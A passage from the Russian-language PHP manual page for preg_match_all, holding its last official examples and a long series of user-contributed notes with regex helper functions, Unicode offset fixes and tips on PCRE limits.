$phones
);

?>

Пример #2 Жадный поиск совпадений с HTML-тэгами

<?php

// Запись \\2 — пример ссылки на подшаблон.
// Запись говорит инструкции Perl-совместимого регулярного выражения,
// что оно должно соответствовать набору, который захватили
// вторые круглые скобки в самом шаблоне, в примере это ([\w]+).
// Дополнительный обратный слеш требуется, потому что строка в двойных кавычках.
$html = "<b>полужирный текст</b><a href=howdy.html>нажми</a>";

preg_match_all("/(<([\w]+)[^>]*>)(.*?)(<\/\\2>)/", $html, $matches, PREG_SET_ORDER);

foreach ($matches as $val) {
echo "совпадение: " . $val[0] . "\n";
echo "часть 1: " . $val[1] . "\n";
echo "часть 2: " . $val[2] . "\n";
echo "часть 3: " . $val[3] . "\n";
echo "часть 4: " . $val[4] . "\n\n";
}

?>

Результат выполнения приведённого примера:

совпадение: <b>полужирный текст</b>
часть 1: <b>
часть 2: b
часть 3: полужирный текст
часть 4: </b>

matched: <a href=hody.html>нажми</a>
часть 1: <a href=howdy.html>
часть 2: a
часть 3: нажми
часть 4: </a>

Пример #3 Работа с именованными подшаблонами

<?php

$str = <<<FOO
a: 1
b: 2
c: 3
FOO;

preg_match_all('/(?P<name>\w+): (?P<digit>\d+)/', $str, $matches);

/* Альтернативный вариант */
// preg_match_all('/(?<name>\w+): (?<digit>\d+)/', $str, $matches);

print_r($matches);

?>

Результат выполнения приведённого примера:

Array
(
    [0] => Array
        (
            [0] => a: 1
            [1] => b: 2
            [2] => c: 3
        )

    [name] => Array
        (
            [0] => a
            [1] => b
            [2] => c
        )

    [1] => Array
        (
            [0] => a
            [1] => b
            [2] => c
        )

    [digit] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )

    [2] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )

)

Смотрите также

  • Регулярные выражения PCRE
  • preg_quote() - Экранирует символы в регулярных выражениях
  • preg_match() - Выполняет проверку на соответствие регулярному выражению
  • preg_replace() - Выполняет поиск и замену по регулярному выражению
  • preg_split() - Разбивает строку по регулярному выражению
  • preg_last_error() - Возвращает код ошибки выполнения последнего регулярного выражения PCRE

User Contributed Notes

b3forgames at gmail dot com 15-Nov-2023 12:18
EXAMPLE:
$file = file_get_contents('file');
if(preg_match_all('#Task To Run(.*)#s', $file, $m)) {
var_dump($m);
}

No output...

preg_match_all  not work if file exist BOM bytes (FF FE) :

?-$ head -n1 file | hexdump -C
00000000  ff fe 48 00 6f 00 73 00  74 00 4e 00 61 00 6d 00  |..H.o.s.t.N.a.m.|

clear BOM via dos2unix:

?-$ dos2unix file
dos2unix: converting UTF-16LE file file to UTF-8 Unix format...

Check again:

?-$ head -n1 file | hexdump -C
00000000  48 6f 73 74 4e 61 6d 65  3a 20 20 20 20 20 20 20  |HostName:       |

Great! Now preg_match_all works fine.
loretoparisi at gmail dot com 07-Jun-2023 12:28
A multi-byte safe preg_match_all that fixes capture offsets when using PREG_OFFSET_CAPTURE on utf-8 strings

<?php
function mb_preg_match_all($pattern, $subject, &$matches = null, $flags = 0, $offset = 0) {
    $out=preg_match_all($pattern, $subject, $matches, $flags, $offset);
    if($flags & PREG_OFFSET_CAPTURE && is_array($matches) && count($matches)>0) {
        foreach ($matches[0] as &$match) {
            $match[1] = mb_strlen(substr($subject, 0, $match[1]));
        }
    }
    return $out;
}
?>
biziclop at vipmail dot hu 06-Aug-2022 07:22
Sometimes you don't just want to cherry-pick the matches but need that the entire subject is made up from matching substrings, so every character of the subject is a member of a match. None of the existing preg_* function is easily applicable for this task, so I made the preg_match_entire() function.
It uses the (*MARK) syntax which is documented here: https://pcre.org/original/doc/html/pcrepattern.html#SEC27

<?php

// returns: the array of matches
// null if the string is not a repetition of the pattern
// false on error
function preg_match_entire( string $pattern, string $subject, int $flags = 0 ){
  // Rebuild and wrap the pattern
  $delimiter = $pattern[0];
  $ldp       = strrpos( $pattern, $delimiter );
  $pattern   = substr( $pattern, 1, $ldp - 1 );
  $modifiers = substr( $pattern,    $ldp + 1 );
  $pattern   = "{$delimiter}   \G\z (*MARK:END)   |   \G (?:{$pattern})   {$delimiter}x{$modifiers}";
  $r = preg_match_all( $pattern, $subject, $m, PREG_SET_ORDER | $flags );
  if( $r === false )  return false;  // error
  $end = array_pop( $m );
  if( $end === null || ! isset( $end['MARK']) || $end['MARK'] !== 'END')
    return null;  // end of string not reached
  return $m;  // return actual matches, may be an empty array
}

// Same results:
test('#{\d+}#', '');              // []
test('#{\d+}#', '{11}{22}{33}');  // {11},{22},{33}

// Different results: preg_match_entire won't match this:
test('#{\d+}#', '{11}{}{aa}{22},{{33}}');
// preg_match_entire: null
// preg_match_all:    {11},{22},{33}

function test( $pattern, $subject ){
  echo "pattern:           $pattern\n";
  echo "subject:           $subject\n";
  print_matches('preg_match_entire: ', preg_match_entire( $pattern, $subject ));
  preg_match_all( $pattern, $subject, $matches, PREG_SET_ORDER );
  print_matches('preg_match_all:    ', $matches );
  echo "\n";
}
function print_matches( $t, $m ){
  echo $t, is_array( $m ) && $m ? implode(',', array_column( $m, 0 )) : json_encode( $m ), "\n";
} ?>
rajudec at gmail dot com 04-Jan-2022 08:45
<?php
//Allow limited span formatting in html text

$str='<span style="text-decoration-line: underline; font-weight: bold; font-style: italic;">White</span>
<span style="text-decoration-line: underline;">RED</span><span style="color:blue">blue</span>';

function next_format($str)
{
     $array=array("text-decoration-line"=>"underline","font-weight"=>"bold","font-style"=>"italic");
    foreach ($array as $key=>$val)
    {
          if($str[1]==$key && $str[2]==$val)
        {
              return $str[1].': '.$str[2].";";
        }
     }
          return '';

}
function next_span($matches)
{
  $needFormat=preg_replace_callback('/([a-z\-]+):\s*([^;]+)(;|)/ism',"next_format",$matches[2]);
  return $matches[1].$needFormat.$matches[3];

}
 echo preg_replace_callback(
            "/(\<span\s+style\=\")([^\"]+)(\">)/ism",
            "next_span",
            $str);
?>
harrybarrow at mail dot ru 27-Aug-2021 11:50
preg_match_all() and other preg_*() functions doesn't work well with very long strings, at least longer that 1Mb.
In this case case function returns FALSE and $matchers value is unpredictable, may contain some values, may be empty.
In this case workaround is pre-split long string onto parts, for instance explode() long string by some criteria and then apply preg_match_all() on each part.
Typical scenario for this case is log analysis by regular expressions.
Tested on PHP 7.2.0
mojo 29-Jun-2021 10:47
Why <?php preg_match_all('/(?:^|\s)(ABC|XYZ)(?:\s|$)/i', 'ABC  XYZ', $match) ?> finds only 'ABC'?

Because the first full match is 'ABC ' - containing the trailing space. And that space is not available for further processing.

Use lookbehind and lookahead to solve this problem: <?php preg_match_all('/(?<=^|\s)(ABC|XYZ)(?=\s|$)/i', 'ABC XYZ', $match)  ?>
chris at ocproducts dot com 28-Dec-2020 03:43
If PREG_OFFSET_CAPTURE is set then unmatched captures (i.e. ones with '?') will not be present in the result array. This is presumably because there is no offset, and thus the original PHP dev decided best to just leave it out.
qdinar at gmail dot com 19-Apr-2018 07:28
when regex is for longer and shorter version of a string,
only one of that long and short versions is catched.
when regex match occurs in one position of string,
only one match is saved in matches[0] for that position.
if ? is used, regex is greedy, and catches more long version,
if | is used, most first matching variant is catched:
<?php
preg_match_all('/ab|abc/','abc',$m);
var_dump($m);
preg_match_all('/abc?/','abc',$m);
var_dump($m);
?>
['ab', 'abc'] in $m[0] for both can be expected, but it is not so,
actually they output [['ab']] and [['abc']]:
array(1) {
  [0]=>
  array(1) {
    [0]=>
    string(2) "ab"
  }
}
array(1) {
  [0]=>
  array(1) {
    [0]=>
    string(3) "abc"
  }
}
stamster at gmail dot com 09-Feb-2016 11:55
Be careful with this pattern match and large input buffer on preg_match_* functions.

<?php
$pattern = '/\{(?:[^{}]|(?R))*\}/';

preg_match_all($pattern, $buffer, $matches);
?>

if $buffer is 80+ KB in size, you'll end up with segfault!

[89396.588854] php[4384]: segfault at 7ffd6e2bdeb0 ip 00007fa20c8d67ed sp 00007ffd6e2bde70 error 6 in libpcre.so.3.13.1[7fa20c8c3000+3c000]

This is due to the PCRE recursion. This is a known bug in PHP since 2008, but it's source is not PHP itself but PCRE library.

Rasmus Lerdorf has the answer: https://bugs.php.net/bug.php?id=45735#1365812629

"The problem here is that there is no way to detect run-away regular expressions
here without huge performance and memory penalties. Yes, we could build PCRE in a
way that it wouldn't segfault and we could crank up the default backtrack limit
to something huge, but it would slow every regex call down by a lot. If PCRE
provided a way to handle this in a more graceful manner without the performance
hit we would of course use it."
matt at lvl99 dot com 19-Nov-2015 02:30
I had been crafting and testing some regexp patterns online using the tools Regex101 and a `preg_match_all()` tester and found that the regexp patterns I wrote worked fine on them, just not in my code.

My problem was not double-escaping backslash characters:

<?php
// Input test
$input = "\"something\",\"something here\",\"some\nnew\nlines\",\"this is the end\"";

// Work with online regexp testers, doesn't work in PHP
preg_match_all( "/(?:,|^)(?<!\\)\".*?(?<!\\)\"(?:(?=,)|$)/s", $input, $matches );

/*
Outputs: NULL
*/

// Works with online regexp testers, does work in PHP
preg_match_all( "/(?:,|^)(?<!\\\\)\".*?(?<!\\\\)\"(?:(?=,)|$)/s", $input, $matches );

/*
Outputs:
array(2) {
  [0]=>
  array(4) {
    [0]=>
    string(11) ""something""
    [1]=>
    string(17) ","something here""
    [2]=>
    string(17) ","some
new
lines""
    [3]=>
    string(18) ","this is the end""
  }
  [1]=>
  array(4) {
    [0]=>
    string(9) "something"
    [1]=>
    string(14) "something here"
    [2]=>
    string(14) "some
new
lines"
    [3]=>
    string(15) "this is the end"
  }
}
*/
?>
stas kuryan aka stafox 09-Nov-2015 08:57
Here is a awesome online regex editor https://regex101.com/
which helps you test your regular expressions (prce, js, python) with real-time highlighting of regex match on data input.
vojjov dot artem at ya dot ru 26-May-2015 03:40
// Here is function that allows you to preg_match_all array of patters

function getMatches($pattern, $subject) {
    $matches = array();

    if (is_array($pattern)) {
        foreach ($pattern as $p) {
            $m = getMatches($p, $subject);

            foreach ($m as $key => $match) {
                if (isset($matches[$key])) {
                    $matches[$key] = array_merge($matches[$key], $m[$key]);
                } else {
                    $matches[$key] = $m[$key];
                }
            }
        }
    } else {
        preg_match_all($pattern, $subject, $matches);
    }

    return $matches;
}

$patterns = array(
    '/<span>(.*?)<\/span>/',
    '/<a href=".*?">(.*?)<\/a>/'
);

$html = '<span>some text</span>';
$html .= '<span>some text in another span</span>';
$html .= '<a href="path/">here is the link</a>';
$html .= '<address>address is here</address>';
$html .= '<span>here is one more span</span>';

$matches = getMatches($patterns, $html);

print_r($matches); // result is below

/*
Array
(
    [0] => Array
        (
            [0] => <span>some text</span>
            [1] => <span>some text in another span</span>
            [2] => <span>here is one more span</span>
            [3] => <a href="path/">here is the link</a>
        )

    [1] => Array
        (
            [0] => some text
            [1] => some text in another span
            [2] => here is one more span
            [3] => here is the link
        )

)
*/
Daniel Klein 17-May-2015 05:26
The code that john at mccarthy dot net posted is not necessary. If you want your results grouped by individual match simply use:

<?
preg_match_all($pattern, $string, $matches, PREG_SET_ORDER);
?>

E.g.

<?
preg_match_all('/([GH])([12])([!?])/', 'G1? H2!', $matches); // Default PREG_PATTERN_ORDER
// $matches = array(0 => array(0 => 'G1?', 1 => 'H2!'),
//                  1 => array(0 => 'G', 1 => 'H'),
//                  2 => array(0 => '1', 1 => '2'),
//                  3 => array(0 => '?', 1 => '!'))

preg_match_all('/([GH])([12])([!?])/', 'G1? H2!', $matches, PREG_SET_ORDER);
// $matches = array(0 => array(0 => 'G1?', 1 => 'G', 2 => '1', 3 => '?'),
//                  1 => array(0 => 'H2!', 1 => 'H', 2 => '2', 3 => '!'))
?>
DarkSide 15-Apr-2014 02:03
This is very useful to combine matches:
$a = array_combine($matches[1], $matches[2]);
ajeet dot nigam at icfaitechweb dot com 22-Jan-2014 06:34
Here http://tryphpregex.com/ is a  php based online regex editor which helps you test your regular expressions with real-time highlighting of regex match on data input.
fab 24-Sep-2012 09:14
Here is a function that replaces all occurrences of a number in a string by the number--

<?php
function decremente_chaine($chaine)
    {
        //recuperer toutes les occurrences de nombres et leurs indices
        preg_match_all("/[0-9]+/",$chaine,$out,PREG_OFFSET_CAPTURE);
            //parcourir les occurrences
            for($i=0;$i<sizeof($out[0]);$i++)
            {
                $longueurnombre = strlen((string)$out[0][$i][0]);
                $taillechaine = strlen($chaine);
                // decouper la chaine en 3 morceaux
                $debut = substr($chaine,0,$out[0][$i][1]);
                $milieu = ($out[0][$i][0])-1;
                $fin = substr($chaine,$out[0][$i][1]+$longueurnombre,$taillechaine);
                 // si c'est 10,100,1000 etc. on decale tout de 1 car le resultat comporte un chiffre de moins
                 if(preg_match('#[1][0]+$#', $out[0][$i][0]))
                 {
                    for($j = $i+1;$j<sizeof($out[0]);$j++)
                    {
                        $out[0][$j][1] = $out[0][$j][1] -1;
                    }
                 }
                $chaine = $debut.$milieu.$fin;
            }
        return $chaine;
    }
?>
fseverin at free dot fr 22-Sep-2012 05:52
As I intended to create for my own purpose a clean PHP class to act on XML files, combining the use of DOM and simplexml functions, I had that small problem, but very annoying, that the offsets in a path is not numbered the same in both.

That is to say, for example, if i get a DOM xpath object it appears like:
/ANODE/ANOTHERNODE/SOMENODE[9]/NODE[2]
and as a simplexml object would be equivalent to:
ANODE->ANOTHERNODE->SOMENODE[8]->NODE[1]

So u see what I mean? I used preg_match_all to solve that problem, and finally I got this after some hours of headlock (as I'm french the names of variables are in French sorry), hoping it could be useful to some of you:

<?php
function decrease_string($string)
    {
        /* retrieve all occurrences AND offsets of numbers in the original string: */

        preg_match_all("/[0-9]+/",$chaine,$out,PREG_OFFSET_CAPTURE);
            for($i=0;$i<sizeof($out[0]);$i++)
            {
                $longueurnombre = strlen((string)$out[0][$i][0]);
                $taillechaine = strlen($chaine);
                // cut the string in 3 pieces
                $debut = substr($chaine,0,$out[0][$i][1]);
                $milieu = ($out[0][$i][0])-1;
                $fin = substr($chaine,$out[0][$i][1]+$longueurnombre,$taillechaine);
                 /* if it's 10,100,1000, the problem is that the string gets shorter and it shifts all the offsets, so we have to decrease them of 1 */
                 if(preg_match('#[1][0]+$#', $out[0][$i][0]))
                 {
                    for($j = $i+1;$j<sizeof($out[0]);$j++)
                    {
                        $out[0][$j][1] = $out[0][$j][1] -1;
                    }
                 }
                $chaine = $debut.$milieu.$fin;
            }
        return $chaine;
    }
?>
marc 04-May-2012 03:48
Better use preg_replace to convert text in a clickable link with tag <a>

$html = preg_replace('"\b(http://\S+)"', '<a href="$1">$1</a>', $text);
satyavvd at ymail dot com 20-Sep-2011 04:08
Extract fields out of csv string : ( since before php5.3 you can't use str_getcsv function )
Here is the regex :

<?php

$csvData = <<<EOF
10,'20',"30","'40","'50'","\"60","70,80","09\\/18,/\"2011",'a,sdfcd'
EOF

$reg = <<<EOF
/
    (
        (
            ([\'\"])
            (
               (
                [^\'\"]
                |
                (\\\\.)
               )*
            )
            (\\3)
            |
            (
                [^,]
                |
                (\\\\.)
            )*
    ),)
    /x
EOF;

preg_match_all($reg,$csvData,$matches);

// to extract csv fields
print_r($matches[2]);
?>
john at mccarthy dot net 18-Feb-2011 11:21
I needed a function to rotate the results of a preg_match_all query, and made this. Not sure if it exists.

<?php
function turn_array($m)
{
    for ($z = 0;$z < count($m);$z++)
    {
        for ($x = 0;$x < count($m[$z]);$x++)
        {
            $rt[$x][$z] = $m[$z][$x];
        }
    }

    return $rt;
}
?>

Example - Take results of some preg_match_all query:

Array
(
    [0] => Array
        (
            [1] => Banff
            [2] => Canmore
            [3] => Invermere
        )

    [1] => Array
        (
            [1] => AB
            [2] => AB
            [3] => BC
        )

    [2] => Array
        (
            [1] => 51.1746254
            [2] => 51.0938416
            [3] => 50.5065193
        )

    [3] => Array
        (
            [1] => -115.5719757
            [2] => -115.3517761
            [3] => -116.0321884
        )

    [4] => Array
        (
            [1] => T1L 1B3
            [2] => T1W 1N2
            [3] => V0B 2G0
        )

)

Rotate it 90 degrees to group results as records:

Array
(
    [0] => Array
        (
            [1] => Banff
            [2] => AB
            [3] => 51.1746254
            [4] => -115.5719757
            [5] => T1L 1B3
        )

    [1] => Array
        (
            [1] => Canmore
            [2] => AB
            [3] => 51.0938416
            [4] => -115.3517761
            [5] => T1W 1N2
        )

    [2] => Array
        (
            [1] => Invermere
            [2] => BC
            [3] => 50.5065193
            [4] => -116.0321884
            [5] => V0B 2G0
        )
)
buuh 06-Dec-2010 02:03
if you want to extract all {token}s from a string:

<?php
$pattern = "/{[^}]*}/";
$subject = "{token1} foo {token2} bar";
preg_match_all($pattern, $subject, $matches);
print_r($matches);
?>

output:

Array
(
    [0] => Array
        (
            [0] => {token1}
            [1] => {token2}
        )

)
no at bo dot dy 08-Sep-2010 11:23
For parsing queries with entities use:

<?php
preg_match_all("/(?:^|(?<=\&(?![a-z]+\;)))([^\=]+)=(.*?)(?:$|\&(?![a-z]+\;))/i",
  $s, $m, PREG_SET_ORDER );
?>
avengis at gmail dot com 23-Sep-2009 02:25
The next function works with almost any complex xml/xhtml string

<?php
/**
* Find and close unclosed xml tags
**/
function close_tags($text) {
    $patt_open    = "%((?<!</)(?<=<)[\s]*[^/!>\s]+(?=>|[\s]+[^>]*[^/]>)(?!/>))%";
    $patt_close    = "%((?<=</)([^>]+)(?=>))%";
    if (preg_match_all($patt_open,$text,$matches))
    {
        $m_open = $matches[1];
        if(!empty($m_open))
        {
            preg_match_all($patt_close,$text,$matches2);
            $m_close = $matches2[1];
            if (count($m_open) > count($m_close))
            {
                $m_open = array_reverse($m_open);
                foreach ($m_close as $tag) $c_tags[$tag]++;
                foreach ($m_open as $k => $tag)    if ($c_tags[$tag]--<=0) $text.='</'.$tag.'>';
            }
        }
    }
    return $text;
}
?>
royaltm75 at gmail dot com 13-Sep-2009 02:44
I have received complains, that my html2a() code (see below) doesn't work in some cases.
It is however not the problem with algorithm or procedure, but with PCRE recursive stack limits.

If you use recursive PCRE (?R) you should remember to increase those two ini settings:

ini_set('pcre.backtrack_limit', 10000000);
ini_set('pcre.recursion_limit', 10000000);

But be warned: (from php.ini)

;Please note that if you set this value to a high number you may consume all
;the available process stack and eventually crash PHP (due to reaching the
;stack size limit imposed by the Operating System).

I have written this example mainly to demonstrate the power of PCRE LANGUAGE, not the power of it's implementation  :)

But if you like it, use it, of course on your own risk.
elyknosrac at gmail dot com 18-Jul-2009 03:51
Using preg_match_all I made a pretty handy function.

<?php

function reg_smart_replace($pattern, $replacement, $subject, $replacementChar = "$$$", $limit = -1)
{
    if (! $pattern || ! $subject || ! $replacement ) { return false; }

    $replacementChar = preg_quote($replacementChar);

    preg_match_all ( $pattern, $subject, $matches);

    if ($limit > -1) {
        foreach ($matches as $count => $value )
        {
            if ($count + 1 > $limit ) { unset($matches[$count]); }
        }
    }
    foreach ($matches[0] as $match) {
        $rep = ereg_replace($replacementChar, $match, $replacement);
        $subject = ereg_replace($match, $rep, $subject);
    }

    return $subject;
}
?>

This function can turn blocks of text into clickable links or whatever.  Example:

<?php
reg_smart_replace(EMAIL_REGEX, '<a href="mailto:$$$">$$$</a>', $description)
?>
will turn all email addresses into actual links.

Just substitute $$$ with the text that will be found by the regex.  If you can't use $$$ then use the 4th parameter $replacementChar
ad 01-Apr-2009 05:18
i have made up a simple function to extract a number from a string..

I am not sure how good it is, but it works.

It gets only the numbers 0-9, the "-", " ", "(", ")", "."

characters.. This is as far as I know the most widely used characters for a Phone number.

<?php
function clean_phone_number($phone) {
       if (!empty($phone)) {
               //var_dump($phone);
               preg_match_all('/[0-9\(\)+.\- ]/s', $phone, $cleaned);
               foreach($cleaned[0] as $k=>$v) {
                       $ready .= $v;
               }
               var_dump($ready);
               die;
               if (mb_strlen($cleaned) > 4 && mb_strlen($cleaned) <=25) {
                       return $cleaned;
               }
               else {
                       return false;
               }
       }
       return false;
}
?>
royaltm75 at NOSPAM dot gmail dot com 21-Feb-2009 02:55
The power of pregs is limited only by your *imagination* :)
I wrote this html2a() function using preg recursive match (?R) which provides quite safe and bulletproof html/xml extraction:
<?php
function html2a ( $html ) {
  if ( !preg_match_all( '
@
\<\s*?(\w+)((?:\b(?:\'[^\']*\'|"[^"]*"|[^\>])*)?)\>
((?:(?>[^\<]*)|(?R))*)
\<\/\s*?\\1(?:\b[^\>]*)?\>
|\<\s*(\w+)(\b(?:\'[^\']*\'|"[^"]*"|[^\>])*)?\/?\>
@uxis', $html = trim($html), $m, PREG_OFFSET_CAPTURE | PREG_SET_ORDER) )
    return $html;
  $i = 0;
  $ret = array();
  foreach ($m as $set) {
    if ( strlen( $val = trim( substr($html, $i, $set[0][1] - $i) ) ) )
      $ret[] = $val;
    $val = $set[1][1] < 0
      ? array( 'tag' => strtolower($set[4][0]) )
      : array( 'tag' => strtolower($set[1][0]), 'val' => html2a($set[3][0]) );
    if ( preg_match_all( '
/(\w+)\s*(?:=\s*(?:"([^"]*)"|\'([^\']*)\'|(\w+)))?/usix
', isset($set[5]) && $set[2][1] < 0
  ? $set[5][0]
  : $set[2][0]
  ,$attrs, PREG_SET_ORDER ) ) {
      foreach ($attrs as $a) {
        $val['attr'][$a[1]]=$a[count($a)-1];
      }
    }
    $ret[] = $val;
    $i = $set[0][1]+strlen( $set[0][0] );
  }
  $l = strlen($html);
  if ( $i < $l )
    if ( strlen( $val = trim( substr( $html, $i, $l - $i ) ) ) )
      $ret[] = $val;
  return $ret;
}
?>

Now let's try it with this example: (there are some really nasty xhtml compliant bugs, but ... we shouldn't worry)

<?php
$html = <<<EOT
some leftover text...
     < DIV class=noCompliant style = "text-align:left;" >
... and some other ...
< dIv > < empty>  </ empty>
  <p> This is yet another text <br  >
     that wasn't <b>compliant</b> too... <br   />
     </p>
 <div class="noClass" > this one is better but we don't care anyway </div ><P>
    <input   type= "text"  name ='my "name' value  = "nothin really." readonly>
end of paragraph </p> </Div>   </div>   some trailing text
EOT;

$a = html2a($html);
//now we will make some neat html out of it
echo a2html($a);

function a2html ( $a, $in = "" ) {
  if ( is_array($a) ) {
    $s = "";
    foreach ($a as $t)
      if ( is_array($t) ) {
        $attrs="";
        if ( isset($t['attr']) )
          foreach( $t['attr'] as $k => $v )
            $attrs.=" ${k}=".( strpos( $v, '"' )!==false ? "'$v'" : "\"$v\"" );
        $s.= $in."<".$t['tag'].$attrs.( isset( $t['val'] ) ? ">\n".a2html( $t['val'], $in."  " ).$in."</".$t['tag'] : "/" ).">\n";
      } else
        $s.= $in.$t."\n";
  } else {
    $s = empty($a) ? "" : $in.$a."\n";
  }
  return $s;
}
?>
This produces:
some leftover text...
<div class="noCompliant" style="text-align:left;">
  ... and some other ...
  <div>
    <empty>
    </empty>
    <p>
      This is yet another text
      <br/>
      that wasn't
      <b>
        compliant
      </b>
      too...
      <br/>
    </p>
    <div class="noClass">
      this one is better but we don't care anyway
    </div>
    <p>
      <input type="text" name='my "name' value="nothin really." readonly="readonly"/>
      end of paragraph
    </p>
  </div>
</div>
some trailing text
meaneye at mail dot com 15-Oct-2008 02:56
Recently I had to write search engine in hebrew and ran into huge amount of problems. My data was stored in MySQL table with utf8_bin encoding.

So, to be able to write hebrew in utf8 table you need to do
<?php
$prepared_text = addslashes(urf8_encode($text));
?>

But then I had to find if some word exists in stored text. This is the place I got stuck. Simple preg_match would not find text since hebrew doesnt work that easy. I've tried with /u and who kows what else.

Solution was somewhat logical and simple...
<?php
$db_text = bin2hex(stripslashes(utf8_decode($db_text)));
$word = bin2hex($word);

$found = preg_match_all("/($word)+/i", $db_text, $matches);
?>

I've used preg_match_all since it returns number of occurences. So I could sort search results acording to that.

Hope someone finds this useful!
MonkeyMan 07-Oct-2008 01:25
Here is a way to match everything on the page, performing an action for each match as you go. I had used this idiom in other languages, where its use is customary, but in PHP it seems to be not quite as common.

<?php
function custom_preg_match_all($pattern, $subject)
{
    $offset = 0;
    $match_count = 0;
    while(preg_match($pattern, $subject, $matches, PREG_OFFSET_CAPTURE, $offset))
    {
        // Increment counter
        $match_count++;

        // Get byte offset and byte length (assuming single byte encoded)
        $match_start = $matches[0][1];
        $match_length = strlen(matches[0][0]);

        // (Optional) Transform $matches to the format it is usually set as (without PREG_OFFSET_CAPTURE set)
        foreach($matches as $k => $match) $newmatches[$k] = $match[0];
        $matches = $new_matches;

        // Your code here
        echo "Match number $match_count, at byte offset $match_start, $match_length bytes long: ".$matches[0]."\r\n";

        // Update offset to the end of the match
        $offset = $match_start + $match_length;
    }

    return $match_count;
}
?>

Note that the offsets returned are byte values (not necessarily number of characters) so you'll have to make sure the data is single-byte encoded. (Or have a look at paolo mosna's strByte function on the strlen manual page).
I'd be interested to know how this method performs speedwise against using preg_match_all and then recursing through the results.
sledge NOSPAM 19-Jun-2008 01:46
Perhaps you want to find the positions of all anchor tags.  This will return a two dimensional array of which the starting and ending positions will be returned.

<?php
function getTagPositions($strBody)
{
    define(DEBUG, false);
    define(DEBUG_FILE_PREFIX, "/tmp/findlinks_");

    preg_match_all("/<[^>]+>(.*)<\/[^>]+>/U", $strBody, $strTag, PREG_PATTERN_ORDER);
    $intOffset = 0;
    $intIndex = 0;
    $intTagPositions = array();

    foreach($strTag[0] as $strFullTag) {
        if(DEBUG == true) {
            $fhDebug = fopen(DEBUG_FILE_PREFIX.time(), "a");
            fwrite($fhDebug, $fulltag."\n");
            fwrite($fhDebug, "Starting position: ".strpos($strBody, $strFullTag, $intOffset)."\n");
            fwrite($fhDebug, "Ending position: ".(strpos($strBody, $strFullTag, $intOffset) + strlen($strFullTag))."\n");
            fwrite($fhDebug, "Length: ".strlen($strFullTag)."\n\n");
            fclose($fhDebug);
        }
        $intTagPositions[$intIndex] = array('start' => (strpos($strBody, $strFullTag, $intOffset)), 'end' => (strpos($strBody, $strFullTag, $intOffset) + strlen($strFullTag)));
        $intOffset += strlen($strFullTag);
        $intIndex++;
    }
    return $intTagPositions;
}

$strBody = 'I have lots of <a href="http://my.site.com">links</a> on this <a href="http://my.site.com">page</a> that I want to <a href="http://my.site.com">find</a> the positions.';

$strBody = strip_tags(html_entity_decode($strBody), '<a>');
$intTagPositions = getTagPositions($strBody);
print_r($intTagPositions);

/*****
Output:

Array (
    [0] => Array (
        [start] => 15
        [end] => 53 )
    [1] => Array (
        [start] => 62
        [end] => 99 )
    [2] => Array (
        [start] => 115
        [end] => 152 )
 )
*****/
?>
spambegone at cratemedia dot com 20-Apr-2008 11:39
I found simpleXML to be useful only in cases where the XML was extremely small, otherwise the server would run out of memory (I suspect there is a memory leak or something?). So while searching for alternative parsers, I decided to try a simpler approach. I don't know how this compares with cpu usage, but I know it works with large XML structures. This is more a manual method, but it works for me since I always know what structure of data I will be receiving.

Essentially I just preg_match() unique nodes to find the values I am looking for, or I preg_match_all to find multiple nodes. This puts the results in an array and I can then process this data as I please.

I was unhappy though, that preg_match_all() stores the data twice (requiring twice the memory), one array for all the full pattern matches, and one array for all the sub pattern matches. You could probably write your own function that overcame this. But for now this works for me, and I hope it saves someone else some time as well.

// SAMPLE XML
<RETS ReplyCode="0" ReplyText="Operation Successful">
  <COUNT Records="14" />
  <DELIMITER value="09" />
  <COLUMNS>PropertyID</COLUMNS>
  <DATA>521897</DATA>
  <DATA>677208</DATA>
  <DATA>686037</DATA>
</RETS>

<?PHP

// SAMPLE FUNCTION
function parse_xml($xml) {

    // GET DELIMITER (single instance)
    $match_res = preg_match('/<DELIMITER value ?= ?"(.*)" ?\/>/', $xml, $matches);
    if(!empty($matches[1])) {
        $results["delimiter"] = chr($matches[1]);
    } else {
        // DEFAULT DELIMITER
        $results["delimiter"] = "\t";
    }
    unset($match_res, $matches);

    // GET MULTIPLE DATA NODES (multiple instances)
    $results["data_count"] = preg_match_all("/<DATA>(.*)<\/DATA>/", $xml, $matches);
    // GET MATCHES OF SUB PATTERN, DISCARD THE REST
    $results["data"]=$matches[1];
    unset($match_res, $matches);

    // UNSET XML TO SAVE MEMORY (should unset outside the function as well)
    unset($xml);

    // RETURN RESULTS ARRAY
    return $results;

}

?>
bruha 04-Mar-2008 12:13
To count str_length in UTF-8 string i use

$count = preg_match_all("/[[:print:]\pL]/u", $str, $pockets);

where
[:print:] - printing characters, including space
\pL - UTF-8 Letter
/u - UTF-8 string
other unicode character properties on http://www.pcre.org/pcre.txt
dolbegraeb 28-Jan-2008 04:30
please note, that the function of "mail at SPAMBUSTER at milianw dot de" can result in invalid xhtml in some cases. think i used it in the right way but my result is sth like this:

<img src="./img.jpg" alt="nice picture" />foo foo foo foo </img>

correct me if i'm wrong.
i'll see when there's time to fix that. -.-
mr davin 12-Jul-2007 02:57
<?php
// Returns an array of strings where the start and end are found
    function findinside($start, $end, $string) {
        preg_match_all('/' . preg_quote($start, '/') . '([^\.)]+)'. preg_quote($end, '/').'/i', $string, $m);
        return $m[1];
    }

    $start = "mary has";
    $end = "lambs.";
    $string = "mary has 6 lambs. phil has 13 lambs. mary stole phil's lambs. now mary has all the lambs.";

    $out = findinside($start, $end, $string);

    print_r ($out);

/* Results in
(
    [0] =>  6
    [1] =>  all the
)
*/
?>
phektus at gmail dot com 26-Jun-2007 11:22
If you'd like to include DOUBLE QUOTES on a regular expression for use with preg_match_all, try ESCAPING THRICE, as in: \\\"

For example, the pattern:
'/<table>[\s\w\/<>=\\\"]*<\/table>/'

Should be able to match:
<table>
<row>
<col align="left" valign="top">a</col>
<col align="right" valign="bottom">b</col>
</row>
</table>
.. with all there is under those table tags.

I'm not really sure why this is so, but I tried just the double quote and one or even two escape characters and it won't work. In my frustration I added another one and then it's cool.
chuckie 06-Dec-2006 06:20
This is a function to convert byte offsets into (UTF-8) character offsets (this is reagardless of whether you use /u modifier:

<?php

function mb_preg_match_all($ps_pattern, $ps_subject, &$pa_matches, $pn_flags = PREG_PATTERN_ORDER, $pn_offset = 0, $ps_encoding = NULL) {
  // WARNING! - All this function does is to correct offsets, nothing else:
  //
  if (is_null($ps_encoding))
    $ps_encoding = mb_internal_encoding();

